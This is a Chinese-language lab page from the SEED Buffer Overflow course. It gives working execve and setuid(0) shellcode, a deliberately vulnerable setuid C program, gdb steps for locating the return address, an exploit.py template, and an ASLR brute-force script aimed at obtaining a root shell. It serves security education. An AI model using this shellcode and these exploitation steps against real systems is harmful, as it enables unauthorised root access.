章节大纲

  • 缓冲区溢出被定义为程序试图将数据写入缓冲区边界之外的情况。这种漏洞可以被恶意用户利用来改变程序的流程控制,导致执行恶意代码。 本实验的目标是让大家获得对这种类型的漏洞的实际见解,并学习如何在攻击中利用此漏洞。

    在这个实验中,你们将给定一个具有缓冲区溢出漏洞的程序;你们需要想出一种方法来利用该漏洞并最终获取 root 权限。除了攻击外,你们还将了解操作系统实施以防止缓冲区溢出攻击的各种保护机制。你们需要评估这些机制是否有效,并解释原因。本实验涵盖了以下主题:

    • 缓冲区溢出漏洞和攻击

    • 栈布局

    • 地址随机化、不可执行栈以及 StackGuard

    • 32 位和 64 位 shellcode

    • return-to-libc 攻击,旨在击败非执行栈防御措施

  • 本实验在 SEEDUbuntu20.04 VM 中测试可行。你可以在本页面右端选择虚拟机版本为 SEEDUbuntu20.04,点击“创建虚拟机”来获取虚拟机平台的临时用户名与密码,登录虚拟机平台即可获得一台预先构建好的 SEEDUbuntu20.04 VM,该虚拟机以及用户名密码将在开启 24 小时后自动销毁。
     
    你也可以在其他 VM、物理机器以及云端 VM 上自行配置环境进行实验,但我们不保证实验能在其他 VM 下成功。实验所需的文件可从下方下载,解压后会得到一个名为 Labsetup 的文件夹,该文件夹内包含了完成本实验所需的所有文件。
      • 现代操作系统已实现多种安全机制以使缓冲区溢出攻击更加困难。为了简化我们的攻击,我们首先需要先禁用它们。稍后我们将启用这些保护措施并观察攻击是否仍然成功。
         
        Ubuntu 和其他几种 Linux 系统使用地址空间随机化来随机化堆和栈的起始地址。这使得猜测确切地址变得困难;猜测地址是缓冲区溢出攻击的关键步骤之一。 可以使用以下命令禁用此功能:
         
        $ sudo sysctl -w kernel.randomize_va_space=0
      • 在最近版本的 Ubuntu 操作系统中,/bin/sh 符号链接指向另一个 shell /bin/dash。程序 dash 以及 bash 实现了一种安全措施来防止它们在 setuid 进程中执行。基本来说,如果检测到它们被以 setuid 方式执行,则会立即更改有效用户 ID 为进程的真实用户 ID,实质上放弃权限。

        由于我们的目标程序是一个 setuid 程序,并且攻击依赖于运行 /bin/sh,/bin/dash 中的防御措施使攻击更加困难。因此,我们将 /bin/sh 链接到另一个没有这种防御机制的 shell(稍后我们会展示,在一些努力之后,可以轻松地击败 /bin/dash 的防御机制)。我们在 Ubuntu 20.04 虚拟机中安装了一个名为 zsh 的 shell 程序。使用以下命令可将 /bin/sh 链接到 zsh:

        $ sudo ln -sf /bin/zsh /bin/sh
  • 缓冲区溢出攻击的最终目标是在目标程序中注入恶意代码,从而利用目标程序的权限执行此代码。Shellcode 在大多数代码注入攻击中被广泛使用。我们在本任务中将对其有所了解。
      • Shellcode 是基本的一段代码,用于启动一个 shell 程序。如果我们用 C 语言实现它,看起来会像下面这样:、

        #include <stdio.h>
        
        int main() {
           char *name[2];
        
           name[0] = "/bin/sh";
           name[1] = NULL;
           execve(name[0], name, NULL);
        }

        不幸的是,我们不能直接编译这段代码并将二进制文件作为我们的 shellcode 使用(关于此的详细解释在 SEED 书籍中有提供)。编写 Shellcode 的最佳方式是使用汇编语言。在这个实验中,我们仅提供了 Shellcode 的二进制版本而没有对其进行解释(这是因为比较复杂,具体可参阅 Shellcode 实验)

      • ; 将命令存放在栈上
        xor  eax, eax
        push eax          
        push "//sh"
        push "/bin"
        mov  ebx, esp     ; ebx --> "/bin//sh": execve()'s 第一个参数
        
        ; 构建 argument 数组 argv[]
        push eax          ; argv[1] = 0
        push ebx          ; argv[0] --> "/bin//sh"
        mov  ecx, esp     ; ecx --> argv[]: execve()'s 第二个参数
        
        ; 环境变量 
        xor  edx, edx     ; edx = 0: execve()'s 第三个参数
        
        ; 调用 execve()
        xor  eax, eax     ; 
        mov  al,  0x0b    ; execve()'s 系统调用号
        int  0x80

        上述 shellcode 实际上是通过调用 execve() 系统调用来执行 /bin/sh。 这里我们将提供非常简短的解释(具体可参阅 Shellcode 实验):

        • 将 "//sh" 推入栈而不是 "/sh",这是因为我们需要一个 32 位数字,而 "/sh" 只有 24 位。幸运的是,“//” 等同于 “/”,所以我们可以使用双斜杠符号来解决这个问题。

        • 需要通过寄存器 ebx、ecx 和 edx 分别传递给 execve() 三个参数, shellcode 的大部分内容就是构造这三个参数的内容。

        • 当我们将 al 设置为 0x0b 并执行 "int 0x80" 时调用系统调用 execve()。

      • 我们提供了一个示例的 64 位 shellcode,如下所示。它与 32 位 shellcode 非常相似,只是寄存器名称不同以及 execve() 系统调用所使用的寄存器也不同。我们在注释中进行了部分解释,并未提供详细的 shellcode 解释。
         
        xor  rdx, rdx        ; rdx = 0: execve()'s 第三个参数
        push rdx
        mov  rax, '/bin//sh' ; 要运行的命令
        push rax             ;
        mov  rdi, rsp        ; rdi --> "/bin//sh": execve()'s 第一个参数 
        push rdx             ; argv[1] = 0
        push rdi             ; argv[0] --> "/bin//sh"
        mov  rsi, rsp        ; rsi --> argv[]: execve()'s 第二个参数
        xor  rax, rax
        mov  al,  0x3b       ; execve()'s 系统调用号
        syscall
  • 我们已从上述汇编代码中生成了二进制代码,并将其放在名为 call_shellcode.c 的 C 程序文件中的 shellcode 文件夹内。在本任务中,我们将测试 shellcode。
     
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    const char shellcode[] =
    #if __x86_64__
      "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e"
      "\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57"
      "\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05"
    #else
      "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
      "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
      "\xd2\x31\xc0\xb0\x0b\xcd\x80"
    #endif
    ;
    
    int main(int argc, char **argv)
    {
       char code[500];
    
       strcpy(code, shellcode); // 将 shellcode 复制到栈上
       int (*func)() = (int(*)())code;
       func();                 // 从栈上调用 shellcode
       return 1;
    } 

    上述代码包括两个 shellcode 的副本,一个是 32 位的,另一个是 64 位的。当我们使用 -m32 标志编译程序时将使用 32 位版本;如果不使用此标志,则将使用 64 位版本。 使用提供的 Makefile 通过键入 make 编译代码。两个二进制文件将被创建,a32.out (32位) 和 a64.out (64位)。运行它们并描述你的观察结果。 请注意编译时使用了 execstack 选项,这允许代码从堆栈执行;如果没有此选项,则程序将失败。

  • 本实验中使用的易受攻击的程序名为 stack.c,位于 code 文件夹内。 此程序存在缓冲区溢出漏洞,并且您的任务是利用该漏洞并获得 root 权限。代码已去除一些非本质的信息,所以它与您从 Labsetup 文件中获取的内容略有不同。

    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    /* 更改此大小将更改堆栈布局 */
    #ifndef BUF_SIZE
    #define BUF_SIZE 100
    #endif
    
    int bof(char *str)
    {
        char buffer[BUF_SIZE];
    
        /* 下面的语句具有缓冲区溢出问题 */ 
        strcpy(buffer, str);          
    
        return 1;
    }
    
    int main(int argc, char **argv)
    {
        char str[517];
        FILE *badfile;
    
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("Returned Properly\n");
        return 1;
    }

    上述程序存在缓冲区溢出漏洞。它首先从名为 badfile 的文件读取输入,然后将此输入传递给函数中的另一个缓冲区 bof()。原始输入的最大长度为 517 字节,但 bof() 中的缓冲区大小仅为 BUF_SIZE 字节,且小于 517。 因为 strcpy() 不检查边界,所以会发生缓冲区溢出。由于此程序是 root 所拥有的 setuid 程序,如果普通用户能够利用这个缓冲区溢出漏洞,则可能能够获得一个 root shell。 请注意,该程序从名为 badfile 的文件中获取输入。此文件由用户控制。现在我们的目标是创建 badfile 文件的内容,当易受攻击的程序将这些内容复制到其缓冲区时,可以启动一个 root shell。

    要编译上述易受攻击的程序,请不要忘记使用 -fno-stack-protector 和 "-z execstack" 选项来禁用 StackGuard 和不可执行栈保护。 编译完成后,我们需要将程序设置为 root 所拥有的 setuid 程序。我们可以通过首先更改程序的所有权(行 ①)到根,然后将权限更改为 4755 以启用 setuid 比特(行 ②)。请注意,在设置 setuid 比特之前必须更改所有权,因为所有权更改会关闭此位。

    $ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c
    $ sudo chown root stack   ①
    $ sudo chmod 4755 stack   ②

    编译和设置命令已包含在 Makefile 中,所以我们只需键入 make 执行这些命令。变量 L1, ..., L4 在 Makefile 中被设置;它们将在编译过程中使用

      • 要利用目标程序中的缓冲区溢出漏洞,最重要的是要知道缓冲区起始位置与返回地址存储位置之间的距离。我们将使用调试方法来找出该距离。 由于我们有目标程序的源代码,我们可以用调试标志将其编译出来,这样会更方便调试。

        我们需要向 gcc 命令添加 -g 标志,因此二进制文件中包含了调试信息。如果你运行 make,已经创建了调试版本。我们将使用 gdb 来调试 stack-L1-dbg。在运行程序之前需要先创建一个名为 badfile 的文件。

        $ touch badfile                                       ← 创建一个空的 badfile
        $ gdb stack-L1-dbg
        gdb-peda$ b bof                                       ← 在函数 bof() 设置断点
        Breakpoint 1 at 0x124d: file stack.c, line 18.
        gdb-peda$ run                                         ← 开始执行程序
        ...
        Breakpoint 1, bof (str=0xffffcf57 ...) at stack.c:18
        18  {
        gdb-peda$ next                                        ← 执行下一条语句
        ...
        22      strcpy(buffer, str);
        gdb-peda$ p $ebp                                      ← 查看 ebp 的地址
        $1 = (void *) 0xffffdfd8   
        gdb-peda$ p &buffer
        $2 = (char (*)[100]) 0xffffdfac                       ← 查看缓冲区的地址
        gdb-peda$ quit

        1. 当 gdb 停在 bof() 函数内部时,它会在设置 ebp 寄存器以指向当前栈帧之前停止,因此如果我们在此处打印出 ebp 的值,将会获得调用者的 ebp 值。我们需要使用 next 执行几条指令,并在修改了 ebp 寄存器以指向 bof() 函数的栈帧之后停止。 gdb 的行为与 SEED 书籍基于 Ubuntu 16.04,因此书中没有包含 next 步骤。
        2. 请注意,从 gdb 获取的框架指针值在实际执行时是不同的,因为 gdb 在运行调试程序之前将一些环境数据推入栈中。 当直接运行程序而不是使用 gdb 时,栈不包含这些数据,所以实际的帧指针值更大。当你构建你的 payload 时请记住这一点。
      • 要利用目标程序中的缓冲区溢出漏洞,我们需要准备一个 payload,并将其保存在 badfile 中。 我们将使用 Python 程序来实现此目的。我们提供了一个名为 exploit.py 的示例程序,其包含于实验设置文件中。 代码不完整,你需要替换一些重要的值。

        #!/usr/bin/python3
        import sys
        
        shellcode= (
          ""                    # 需要更改
        ).encode('latin-1')
        
        # 填充内容使用 NOP 指令
        content = bytearray(0x90 for i in range(517))
        
        ##################################################################
        # 将 shellcode 放在 payload 的某个地方
        start = 0               # 需要更改
        content[start:start + len(shellcode)] = shellcode
        
        # 决定返回地址的值
        # 并将该值放在 payload 中的某处
        ret    = 0x00           # 需要更改
        offset = 0              # 需要更改
        
        L = 4     # 使用 4 来表示32位地址,使用8来表示64位地址
        content[offset:offset + L] = (ret).to_bytes(L,byteorder='little')
        ##################################################################
        
        # 将内容写入一个文件中
        with open('badfile', 'wb') as f:
          f.write(content)

        完成后运行该程序,这将生成 badfile 的内容。然后运行易受攻击的程序 stack。如果您的 exploit 实现正确,则您应该能够获得一个 root shell:

        $./exploit.py     // 创建坏文件
        $./stack-L1       // 通过运行漏洞程序启动攻击
        # <---- 中彩票了!你获得了root shell!

        在你的实验报告中,除了提供截图来展示你的调查和攻击外,还需要解释你在 exploit.py 文件中使用的值是如何决定的。这些值是攻击中最重要的一部分,因此详细的说明可以帮助老师来评估你的报告。仅演示成功的攻击而不解释为什么这个攻击起作用将不会获得很多分数。

  • 在任务 3 的攻击中,我们通过使用 gdb 知道了缓冲区的大小。但是在现实世界中,这可能很难得到。例如,如果目标是一个运行在远程机器上的服务器程序,我们无法获取二进制或源代码副本。在这个任务中我们将增加一个约束:你仍可以使用 gdb,但不允许通过你的观察直接得到缓冲区大小。事实上,缓冲区大小已经在 Makefile 中提供,但是你不允许在攻击中使用这些信息。

    你的任务是通过这种限制条件将易受攻击的程序运行你的 shellcode。我们假设你知道缓冲区大小的范围为 100 到 200 字节。另一个可能对你有用的事实是,由于内存对齐的关系,框架指针的值总是 4 的倍数(32位程序)。请注意,你只能构建一个适用于此范围内所有缓冲区大小的有效 Payload。如果你使用暴力破解的方法(即尝试每个缓冲区大小)那么将不会获得全部分数。尝试的次数越多,被受害者发现的概率更高,这也是为什么减少尝试次数对于一个攻击非常重要。在你的实验报告中,你需要描述你的方法,并提供证据。
  • 在这个任务中我们将将易受攻击的程序编译成一个名为 stack-L3 的 64 位二进制文件。 我们将在该程序上启动攻击。编译和设置命令已包含在 Makefile 中,与前一任务相似,在报告中需要详细说明你的攻击。

    使用 gdb 在 64 位程序上进行调查与在 32 位程序上的方式相同。 唯一的区别是框架指针寄存器的名称不同。在 x86 架构中,框架指针为 ebp 而在 x64 架构中,则是 rbp。

    相比 32 位机器上的缓冲区溢出攻击,在 64 位机器上发起攻击更加困难。最困难的部分在于地址。虽然 x64 架构支持 64 位地址空间,但只有从 0x00 到 0x00007FFFFFFFFFFF 的地址是允许的。这意味着对于每个地址(8字节),最高两位总是为零。 这导致了问题。

    在我们的缓冲区溢出攻击中,我们需要在一个 payload 中至少存储一个地址,并通过 strcpy() 将其复制到堆栈中。我们知道 strcpy() 在遇到零时会停止复制。因此,如果 payload 中的中间位置出现了零,则该位置之后的内容将无法被复制到堆栈中。 如何解决这个问题是这个攻击中最困难的挑战。

  • 本次任务的目标程序(stack-L4)与任务 4 类似,不同之处在于缓冲区大小非常小。我们将其设置为 10 个字节,而在任务 4 中,缓冲区大小要大得多。 您的目标是通过攻击此 setuid 程序来获得 root shell。由于缓冲区很小可能会遇到额外的挑战。 如果这种情况发生,请解释你如何解决这些挑战。

  • Ubuntu 操作系统中的 dash shell 在检测到有效 UID 不等于真实 UID 时(这在 setuid 程序中是这种情况),会通过将有效 UID 变为真实 UID 来放弃权限。我们之前让 /bin/sh 指向另一个名为 zsh 的 shell,它没有这样的防御措施。在本任务中我们将将其变回,并看看如何击败该防御措施。请执行以下操作以使 /bin/sh 指向 /bin/dash。

    $ sudo ln -sf /bin/dash /bin/sh

    为了击败缓冲区溢出攻击中的 dash 防御措施,我们需要做的就是更改真实 UID,使其等于有效 UID。当 root 所拥有的 setuid 程序运行时,有效 UID 为零,在执行 shell 程序之前,我们只需将真实 UID 更改为零即可。 这可以通过在 shellcode 中调用 setuid(0) 来实现。

    以下汇编代码演示了如何调用 setuid(0)。二进制代码已置于 call_shellcode.c 内,你只需将其添加到 shellcode 的开头即可。

    ; 调用 setuid(0): 32位
    xor ebx, ebx      ; ebx = 0: setuid() 的参数
    xor eax, eax
    mov  al, 0xd5     ; setuid() 的系统调用号
    int 0x80
    
    ; 调用 setuid(0): 64位
    xor rdi, rdi      ; rdi = 0: setuid() 的参数
    xor rax, rax       
    mov  al, 0x69     ; setuid() 的系统调用号
    syscall

    编译 call_shellcode.c 成一个 root 所拥有的二进制文件(键入 "make setuid")。运行 shellcode a32.out 和 a64.out,并带有或不带 setuid(0) 系统调用。请描述和解释你的观察结果。

    现在,使用更新的 shellcode 你可以再次针对易受攻击的程序发起攻击,并且这一次,shell 的防御机制已开启。 重复任务 3 的攻击,看看你是否能够获得 root shell。获取 root shell 后,请运行以下命令来验证此防御措施已启用。虽然不需要在任务 2 和任务 3 上重复进行相同的攻击,但你可以自由尝试并查看它们是否会起作用。

  • 在 32 位 Linux 机器上,堆栈只有 19 比特的熵,这意味着堆栈基地址可以有  2^{19}=524288 种可能性。这个数字不算高,并且很容易通过暴力破解方法被穷尽。 在这个任务中,我们将使用这样的方法来击败我们的32位虚拟机上的地址随机化防御机制。 首先,我们使用以下命令开启  Ubuntu 的地址随机化功能。然后我们再次针对 stack-L1 运行相同的攻击,请描述和解释你的观察结果。

    $ sudo /sbin/sysctl -w kernel.randomize_va_space=2

    接着,使用暴力破解方法反复地攻击易受攻击的程序,希望我们放在 badfile 中的内容最终是正确的。我们将仅尝试针对 32 位 的 stack-L1 程序进行攻击。 你可以使用以下 Shell 脚本在无限循环中运行该漏洞程序。如果你的攻击成功,脚本会停止;否则它将继续运行。请耐心等待,因为这可能需要几分钟时间,但如果你非常不幸运,则可能需要更长时间。请描述你的观察结果。

    #!/bin/bash
    
    SECONDS=0
    value=0
    
    while true; do
      value=$(( $value + 1 ))
      duration=$SECONDS
      min=$(($duration / 60))
      sec=$(($duration % 60))
      echo "$min minutes and $sec seconds elapsed."
      echo "The program has been running $value times so far."
      ./stack-L1
    done

    在 64 位程序上使用暴力破解攻击会更难,因为熵更大。尽管这不在要求范围内,但可以自由尝试一下,看看是否能幸运地成功。

     
      • 许多编译器(如 gcc)实现了名为 StackGuard 的安全机制来防止缓冲区溢出。在该保护存在的情况下,缓冲区溢出攻击将不会起作用。 在前面的任务中我们在编译程序时关闭了 StackGuard 保护机制。在本任务中我们将开启它并观察会发生什么。

        首先重复任务 3 的攻击不开启 StackGuard,确认攻击仍然成功。记住要先关闭地址随机化,因为在前一个任务中你已经将其打开了。 然后通过重新编译易受攻击的 stack.c 程序而不使用 -fno-stack-protector 标志来开启 StackGuard 保护。 在 gcc 版本 4.3.3 及以上中,StackGuard 默认启用。发起攻击并报告和解释你的观察结果。

      • 操作系统过去是允许可执行栈的,但现在情况已经改变:在 Ubuntu 操作系统中,程序(和共享库)的二进制映像必须声明它们是否需要可执行栈,即它们需要在程序头中设置一个标记字段。内核或动态链接器使用此标记来决定是否让运行的程序的栈可执行或不可执行。此标记由 gcc 自动完成,默认情况下使栈不可执行。我们可以在编译中使用 "-z noexecstack" 标志专门使其不可执行。 在我们之前的任务中,我们使用 "-z execstack" 使栈可执行。

        在此任务中,我们将使栈不可执行。我们将在 shellcode 文件夹中进行这个实验。 call_shellcode 程序会在堆栈上放置 shellcode 的副本,然后从栈上执行代码。 请重新编译 call_shellcode.c 生成 a32.out 和 a64.out,但不使用 "-z execstack" 选项。运行它们,并描述和解释你的观察。

        需要注意的是,不可执行栈仅使得在栈上运行 shellcode 不可能,但这并不能完全防止缓冲区溢出攻击,因为还有其他方式来运行恶意代码。例如 return-to-libc 攻击。我们为此设计了一个单独的实验。具体请参见 Return-to-Libc 攻击实验。

  • 你需要提交一份带有截图的详细实验报告来描述你所做的工作和你观察到的现象。你还需要对一些有趣或令人惊讶的观察结果进行解释。请同时列出重要的代码段并附上解释。只是简单地附上代码不加以解释不会获得学分。实验报告的提交方式会由你的老师进行具体安排。

    • 打开: 2025年07月14日 星期一 00:00
      到期日: 2025年07月21日 星期一 00:00